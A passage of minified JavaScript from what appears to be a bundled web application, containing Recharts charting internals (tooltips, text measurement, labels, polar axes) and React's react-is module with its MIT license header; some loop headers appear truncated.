0,panoramaElement:void 0}},prepare:Ue()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!TR(n)&&delete e.zIndexMap[n])},prepare:Ue()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:Ue()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:Ue()}}}),{registerZIndexPortal:MR,unregisterZIndexPortal:LR,registerZIndexPortalElement:IR,unregisterZIndexPortalElement:DR}=_3.actions,RR=_3.reducer;function Si(e){var{zIndex:t,children:n}=e,r=BT(),i=r&&t!==void 0&&t!==0,a=Kn(),o=it();p.useLayoutEffect(()=>i?(o(MR({zIndex:t})),()=>{o(LR({zIndex:t}))}):cs,[o,t,i]);var l=ye(c=>SR(c,t,a));return i?l?fx.createPortal(n,l):null:n}function uh(){return uh=Object.assign?Object.assign.bind():function(e){for(var t=1;tp.useContext(O3),T3={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function a(c,u,d,f,m){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,m),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var m=0,h=f.length,x=new Array(h);m{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!lr(n))return e[n]}},YR={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},L3=Xt({name:"options",initialState:YR,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),GR=L3.reducer,{createEventEmitter:XR}=L3.actions;function ZR(e){return e.tooltip.syncInteraction}var QR={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},I3=Xt({name:"chartData",initialState:QR,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:kb,setDataStartEndIndexes:JR,setComputedData:IV}=I3.actions,e9=I3.reducer,t9=["x","y"];function Nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ha(e){for(var t=1;tc.rootProps.className);p.useEffect(()=>{if(e==null)return cs;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var m;if(o&&d!==null&&d!==void 0&&(m=d.payload)!==null&&m!==void 0&&m.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=a9(h,t9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,k=ha(ha({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(ha(ha({},d),{},{payload:ha(ha({},d.payload),{},{coordinate:k})}))}else n(d);return}if(i!=null){var S;if(typeof r=="function"){var N={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},z=r(i,N);S=i[z]}else r==="value"&&(S=i.find(M=>String(M.value)===d.payload.label));var{coordinate:_}=d.payload;if(S==null||d.payload.active===!1||_==null||o==null){n(lh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:A,y:O}=_,P=Math.min(A,o.x+o.width),I=Math.min(O,o.y+o.height),U={x:a==="horizontal"?S.coordinate:P,y:a==="horizontal"?I:S.coordinate},D=lh({active:d.payload.active,coordinate:U,dataKey:d.payload.dataKey,index:String(S.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(D)}}};return Fo.on(dh,c),()=>{Fo.off(dh,c)}},[l,n,t,e,r,i,a,o])}function l9(){var e=ye(y0),t=ye(b0),n=it();p.useEffect(()=>{if(e==null)return cs;var r=(i,a,o)=>{t!==o&&e===i&&n(JR(a))};return Fo.on(jb,r),()=>{Fo.off(jb,r)}},[n,t,e])}function c9(){var e=it();p.useEffect(()=>{e(XR())},[e]),o9(),l9()}function u9(e,t,n,r,i,a){var o=ye(h=>gR(h,e,t)),l=ye(b0),c=ye(y0),u=ye(N4),d=ye(ZR),f=d==null?void 0:d.active,m=Td();p.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=lh({active:a,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:m,graphicalItemId:void 0});Fo.emit(dh,c,h,l)}},[f,n,o,i,r,l,c,u,a,m])}function Sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zb(e){for(var t=1;t{N(pD({shared:b,trigger:w,axisId:S,active:i,defaultIndex:z}))},[N,b,w,S,i,z]);var _=Td(),A=gN(),O=oD(b),{activeIndex:P,isActive:I}=(t=ye(Y=>wR(Y,O,w,z)))!==null&&t!==void 0?t:{},U=ye(Y=>bR(Y,O,w,z)),D=ye(Y=>A3(Y,O,w,z)),M=ye(Y=>yR(Y,O,w,z)),F=U,R=HR(),W=(n=i??I)!==null&&n!==void 0?n:!1,[$,H]=X6([F,W]),X=O==="axis"?D:void 0;u9(O,w,M,X,P,W);var se=k??R;if(se==null||_==null||O==null)return null;var ue=F??Cb;W||(ue=Cb),u&&ue.length&&(ue=m6(ue.filter(Y=>Y.value!=null&&(Y.hide!==!0||r.includeHidden)),m,m9));var ge=ue.length>0,xe=p.createElement(dM,{allowEscapeViewBox:a,animationDuration:o,animationEasing:l,isAnimationActive:d,active:W,coordinate:M,hasPayload:ge,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:_,wrapperStyle:y,lastBoundingBox:$,innerRef:H,hasPortalFromProps:!!k},h9(c,zb(zb({},r),{},{payload:ue,label:X,active:W,activeIndex:P,coordinate:M,accessibilityLayer:A})));return p.createElement(p.Fragment,null,fx.createPortal(xe,se),W&&p.createElement(VR,{cursor:v,tooltipEventType:O,coordinate:M,payload:ue,index:P}))}var nf=e=>null;nf.displayName="Cell";function v9(e,t,n){return(t=g9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function g9(e){var t=y9(e,"string");return typeof t=="symbol"?t:t+""}function y9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class b9{constructor(t){v9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function Eb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w9(e){for(var t=1;t{try{var n=document.getElementById(_b);n||(n=document.createElement("span"),n.setAttribute("id",_b),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,z9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Tb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Dd.isSsr)return{width:0,height:0};if(!D3.enableCache)return Ob(t,n);var r=C9(t,n),i=Ab.get(r);if(i)return i;var a=Ob(t,n);return Ab.set(r,a),a},R3;function P9(e,t,n){return(t=E9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function E9(e){var t=A9(e,"string");return typeof t=="symbol"?t:t+""}function A9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Mb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,Lb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,_9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,O9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,T9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},M9=["cm","mm","pt","pc","in","Q","px"];function L9(e){return M9.includes(e)}var _a="NaN";function I9(e,t){return e*T9[t]}class Nt{static parse(t){var n,[,r,i]=(n=O9.exec(t))!==null&&n!==void 0?n:[];return r==null?Nt.NaN:new Nt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,lr(t)&&(this.unit=""),n!==""&&!_9.test(n)&&(this.num=NaN,this.unit=""),L9(n)&&(this.num=I9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return lr(this.num)}}R3=Nt;P9(Nt,"NaN",new R3(NaN,""));function $3(e){if(e==null||e.includes(_a))return _a;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,a]=(n=Mb.exec(t))!==null&&n!==void 0?n:[],o=Nt.parse(r??""),l=Nt.parse(a??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return _a;t=t.replace(Mb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,m]=(u=Lb.exec(t))!==null&&u!==void 0?u:[],h=Nt.parse(d??""),x=Nt.parse(m??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return _a;t=t.replace(Lb,g.toString())}return t}var Ib=/\(([^()]*)\)/;function D9(e){for(var t=e,n;(n=Ib.exec(t))!=null;){var[,r]=n;t=t.replace(Ib,$3(r))}return t}function R9(e){var t=e.replace(/\s+/g,"");return t=D9(t),t=$3(t),t}function $9(e){try{return R9(e)}catch{return _a}}function fp(e){var t=$9(e.slice(5,-1));return t===_a?"":t}var B9=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],F9=["dx","dy","angle","className","breakAll"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Pt(t)||(n?i=t.toString().split(""):i=t.toString().split(B3));var a=i.map(l=>({word:l,width:Tb(l,r).width})),o=n?0:Tb(" ",r).width;return{wordsWithComputedWidth:a,spaceWidth:o}}catch{return null}};function U9(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var W3=(e,t,n,r)=>e.reduce((i,a)=>{var{word:o,width:l}=a,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),V9="…",Rb=(e,t,n,r,i,a,o,l)=>{var c=e.slice(0,t),u=F3({breakAll:n,style:r,children:c+V9});if(!u)return[!1,[]];var d=W3(u.wordsWithComputedWidth,a,o,l),f=d.length>i||U3(d).width>Number(a);return[f,d]},H9=(e,t,n,r,i)=>{var{maxLines:a,children:o,style:l,breakAll:c}=e,u=he(a),d=String(o),f=W3(t,r,n,i);if(!u||i)return f;var m=f.length>a||U3(f).width>Number(r);if(!m)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Rb(d,b,c,l,a,r,n,i),[k]=Rb(d,v,c,l,a,r,n,i);if(!w&&!k&&(h=v+1),w&&k&&(x=v-1),!w&&k){y=j;break}g++}return y||f},$b=e=>{var t=Pt(e)?[]:e.toString().split(B3);return[{words:t,width:void 0}]},K9=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:a,maxLines:o}=e;if((t||n)&&!Dd.isSsr){var l,c,u=F3({breakAll:a,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return $b(r);return H9({breakAll:a,children:r,maxLines:o,style:i},l,c,t,!!n)}return $b(r)},V3="#808080",q9={angle:0,breakAll:!1,capHeight:"0.71em",fill:V3,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},nv=p.forwardRef((e,t)=>{var n=fn(e,q9),{x:r,y:i,lineHeight:a,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Db(n,B9),m=p.useMemo(()=>K9({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Db(f,F9);if(!Pr(r)||!Pr(i)||m.length===0)return null;var w=Number(r)+(he(h)?h:0),j=Number(i)+(he(x)?x:0);if(!ze(w)||!ze(j))return null;var k;switch(d){case"start":k=fp("calc(".concat(o,")"));break;case"middle":k=fp("calc(".concat((m.length-1)/2," * -").concat(a," + (").concat(o," / 2))"));break;default:k=fp("calc(".concat(m.length-1," * -").concat(a,")"));break}var S=[],N=m[0];if(c&&N!=null){var z=N.width,{width:_}=f;S.push("scale(".concat(he(_)&&he(z)?_/z:1,")"))}return g&&S.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),S.length&&(b.transform=S.join(" ")),p.createElement("text",fh({},Dt(b),{ref:t,x:w,y:j,className:Xe("recharts-text",y),textAnchor:u,fill:l.includes("url")?V3:l}),m.map((A,O)=>{var P=A.words.join(v?"":" ");return p.createElement("tspan",{x:w,dy:O===0?k:a,key:"".concat(P,"-").concat(O)},P)}))});nv.displayName="Text";function Bb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jn(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:a,y:o,height:l,upperWidth:c,lowerWidth:u}=Vx(t),d=a,f=a+(c-u)/2,m=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,k=w>0?"end":"start",S=w>0?"start":"end",N=i;if(n==="top"){var z={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return N&&(z.height=Math.max(o-N.y,0),z.width=c),z}if(n==="bottom"){var _={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return N&&(_.height=Math.max(N.y+N.height-(o+l),0),_.width=u),_}if(n==="left"){var A={x:m-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return N&&(A.width=Math.max(A.x-N.x,0),A.height=l),A}if(n==="right"){var O={x:m+h+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"};return N&&(O.width=Math.max(N.x+N.width-O.x,0),O.height=l),O}var P=N?{width:h,height:l}:{};return n==="insideLeft"?Jn({x:m+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"},P):n==="insideRight"?Jn({x:m+h-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideTop"?Jn({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?Jn({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?Jn({x:d+j,y:o+y,horizontalAnchor:S,verticalAnchor:b},P):n==="insideTopRight"?Jn({x:d+c-j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideBottomLeft"?Jn({x:f+j,y:o+l-y,horizontalAnchor:S,verticalAnchor:v},P):n==="insideBottomRight"?Jn({x:f+u-j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n&&typeof n=="object"&&(he(n.x)||ta(n.x))&&(he(n.y)||ta(n.y))?Jn({x:a+sn(n.x,h),y:o+sn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):Jn({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},Q9=["labelRef"],J9=["content"];function Fb(e,t){if(e==null)return{};var n,r,i=e$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var e=p.useContext(i$),t=Td();return e||(t?Vx(t):void 0)},s$=p.createContext(null),o$=()=>{var e=p.useContext(s$),t=ye(A4);return e||t},l$=e=>{var{value:t,formatter:n}=e,r=Pt(e.children)?t:e.children;return typeof n=="function"?n(r):r},c$=e=>e!=null&&typeof e=="function",u$=(e,t)=>{var n=Ut(t-e),r=Math.min(Math.abs(t-e),360);return n*r},d$=(e,t,n,r,i)=>{var{offset:a,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:m,clockWise:h}=i,x=(u+d)/2,g=u$(f,m),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*a,b=h;break;case"insideEnd":v=m-y*a,b=!h;break;case"end":v=m+y*a,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=st(l,c,x,v),j=st(l,c,x,v+(b?1:-1)*359),k="M".concat(w.x,",").concat(w.y,` A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, `).concat(j.x,",").concat(j.y),S=Pt(e.id)?Po("recharts-radial-line-"):e.id;return p.createElement("text",Au({},r,{dominantBaseline:"central",className:Xe("recharts-radial-bar-label",o)}),p.createElement("defs",null,p.createElement("path",{id:S,d:k})),p.createElement("textPath",{xlinkHref:"#".concat(S)},n))},f$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:a,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=st(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var m=(a+o)/2,{x:h,y:x}=st(r,i,m,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},xc=e=>e!=null&&"cx"in e&&he(e.cx),p$={angle:0,offset:5,zIndex:Ht.label,position:"middle",textBreakAll:!1};function m$(e){if(!xc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function H3(e){var t=fn(e,p$),{viewBox:n,parentViewBox:r,position:i,value:a,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=o$(),m=a$(),h=i==="center"?m:f??m,x,g,y;n==null?x=h:xc(n)?x=n:x=Vx(n);var v=m$(x);if(!x||Pt(a)&&Pt(o)&&!p.isValidElement(l)&&typeof l!="function")return null;var b=Kl(Kl({},t),{},{viewBox:x});if(p.isValidElement(l)){var{labelRef:w}=b,j=Fb(b,Q9);return p.cloneElement(l,j)}if(typeof l=="function"){var{content:k}=b,S=Fb(b,J9);if(g=p.createElement(l,S),p.isValidElement(g))return g}else g=l$(t);var N=Dt(t);if(xc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return d$(t,i,g,N,x);y=f$(x,t.offset,t.position)}else{if(!v)return null;var z=Z9({viewBox:v,position:i,offset:t.offset,parentViewBox:xc(r)?void 0:r});y=Kl(Kl({x:z.x,y:z.y,textAnchor:z.horizontalAnchor,verticalAnchor:z.verticalAnchor},z.width!==void 0?{width:z.width}:{}),z.height!==void 0?{height:z.height}:{})}return p.createElement(Si,{zIndex:t.zIndex},p.createElement(nv,Au({ref:d,className:Xe("recharts-label",c)},N,y,{textAnchor:U9(N.textAnchor)?N.textAnchor:y.textAnchor,breakAll:u}),g))}H3.displayName="Label";var K3={},q3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(q3);var Y3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(Y3);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=q3,n=Y3,r=hd;function i(a){if(r.isArrayLike(a))return t.last(n.toArray(a))}e.last=i})(K3);var h$=K3.last;const x$=Lr(h$);var v$=["valueAccessor"],g$=["dataKey","clockWise","id","textBreakAll","zIndex"];function _u(){return _u=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?x$(e.value):e.value,G3=p.createContext(void 0),w$=G3.Provider,X3=p.createContext(void 0),j$=X3.Provider;function k$(){return p.useContext(G3)}function N$(){return p.useContext(X3)}function vc(e){var{valueAccessor:t=b$}=e,n=Ub(e,v$),{dataKey:r,clockWise:i,id:a,textBreakAll:o,zIndex:l}=n,c=Ub(n,g$),u=k$(),d=N$(),f=u||d;return!f||!f.length?null:p.createElement(Si,{zIndex:l??Ht.label},p.createElement(Gt,{className:"recharts-label-list"},f.map((m,h)=>{var x,g=Pt(r)?t(m,h):Fe(m.payload,r),y=Pt(a)?{}:{id:"".concat(a,"-").concat(h)};return p.createElement(H3,_u({key:"label-".concat(h)},Dt(m),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:m.fill,parentViewBox:m.parentViewBox,value:g,textBreakAll:o,viewBox:m.viewBox,index:h,zIndex:0}))})))}vc.displayName="LabelList";function Z3(e){var{label:t}=e;return t?t===!0?p.createElement(vc,{key:"labelList-implicit"}):p.isValidElement(t)||c$(t)?p.createElement(vc,{key:"labelList-implicit",content:t}):typeof t=="object"?p.createElement(vc,_u({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function ph(){return ph=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,a=Xe("recharts-dot",i);return he(t)&&he(n)&&he(r)?p.createElement("circle",ph({},Cr(e),Sx(e),{className:a,cx:t,cy:n,r})):null},J3=e=>e.graphicalItems.polarItems,S$=T([Ze,sl],C0),rf=T([J3,tt,S$],P0),z$=T([rf],E0),af=T([z$,Kd],A0),C$=T([af,tt,rf],O0);T([af,tt,rf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var a,o=Fe(r,(a=t.dataKey)!==null&&a!==void 0?a:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Fe(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var Vb=()=>{},P$=T([af,tt,rf,Qd,Ze],I0),E$=T([tt,M0,L0,Vb,P$,Vb,Me,Ze],D0),eS=T([tt,Me,af,C$,al,Ze,E$],R0),A$=T([eS,hs,Ni],F0),_$=T([tt,eS,A$,Ze],U0);T([Ni,_$],O4);var O$={radiusAxis:{},angleAxis:{}},tS=Xt({name:"polarAxis",initialState:O$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:DV,removeRadiusAxis:RV,addAngleAxis:$V,removeAngleAxis:BV}=tS.actions,T$=tS.reducer;function M$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function Hb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Kb(e){for(var t=1;tt,rv=T([J3,R$],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),$$=[],iv=(e,t,n)=>(n==null?void 0:n.length)===0?$$:n,nS=T([Kd,rv,iv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(a=>Kb(Kb({},t.presentationProps),a.props))),i!=null)return i}}),B$=T([nS,rv,iv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var a,o=Fe(r,t.nameKey,t.name),l;return n!=null&&(a=n[i])!==null&&a!==void 0&&(a=a.props)!==null&&a!==void 0&&a.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Pd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),F$=T([nS,rv,iv,yt],(e,t,n,r)=>{if(!(t==null||e==null))return KB({offset:r,pieSettings:t,displayedData:e,cells:n})}),rS={exports:{}},Le={};/** * @license React * react-is.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var av=Symbol.for("react.transitional.element"),sv=Symbol.for("react.portal"),sf=Symbol.for("react.fragment"),of=Symbol.for("react.strict_mode"),lf=Symbol.for("react.profiler"),cf=Symbol.for("react.consumer"),uf=Symbol.for("react.context"),df=Symbol.for("react.forward_ref"),ff=Symbol.for("react.suspense"),pf=Symbol.for("react.suspense_list"),mf=Symbol.for("react.memo"),hf=Symbol.for("react.lazy"),W$=Symbol.for("react.view_transition"),U$=Symbol.for("react.client.reference");function En(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case av:switch(e=e.type,e){case sf:case lf:case of:case ff:case pf:case W$:return e;default:switch(e=e&&e.$$typeof,e){case uf:case df:case hf:case mf:return e;case cf:return e;default:return t}}case sv:return t}}}Le.ContextConsumer=cf;Le.ContextProvider=uf;Le.Element=av;Le.ForwardRef=df;Le.Fragment=sf;Le.Lazy=hf;Le.Memo=mf;Le.Portal=sv;Le.Profiler=lf;Le.StrictMode=of;Le.Suspense=ff;Le.SuspenseList=pf;Le.isContextConsumer=function(e){return En(e)===cf};Le.isContextProvider=function(e){return En(e)===uf};Le.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===av};Le.isForwardRef=function(e){return En(e)===df};Le.isFragment=function(e){return En(e)===sf};Le.isLazy=function(e){return En(e)===hf};Le.isMemo=function(e){return En(e)===mf};Le.isPortal=function(e){return En(e)===sv};Le.isProfiler=function(e){return En(e)===lf};Le.isStrictMode=function(e){return En(e)===of};Le.isSuspense=function(e){return En(e)===ff};Le.isSuspenseList=function(e){return En(e)===pf};Le.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===sf||e===lf||e===of||e===ff||e===pf||typeof e=="object"&&e!==null&&(e.$$typeof===hf||e.$$typeof===mf||e.$$typeof===uf||e.$$typeof===cf||e.$$typeof===df||e.$$typeof===U$||e.getModuleId!==void 0)};Le.typeOf=En;rS.exports=Le;var V$=rS.exports,qb=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",Yb=null,pp=null,iS=e=>{if(e===Yb&&Array.isArray(pp))return pp;var t=[];return p.Children.forEach(e,n=>{Pt(n)||(V$.isFragment(n)?t=t.concat(iS(n.props.children)):t.push(n))}),pp=t,Yb=e,t};function aS(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>qb(i)):r=[qb(t)],iS(e).forEach(i=>{var 